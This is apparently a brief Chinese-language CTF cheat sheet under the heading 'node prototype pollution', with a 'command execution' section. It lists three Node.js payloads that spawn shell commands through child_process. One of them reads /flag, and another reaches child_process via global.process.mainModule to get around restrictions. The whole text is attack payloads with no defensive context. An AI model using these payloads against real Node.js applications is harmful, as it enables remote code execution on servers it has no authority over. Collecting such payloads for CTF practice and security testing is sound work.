node 原型链污染

命令执行 #

常用

require('child_process').execSync('ls')
require('child_process').spawnSync('cat',['/flag']).output
global.process.mainModule.constructor._load('child_process').execSync('dir')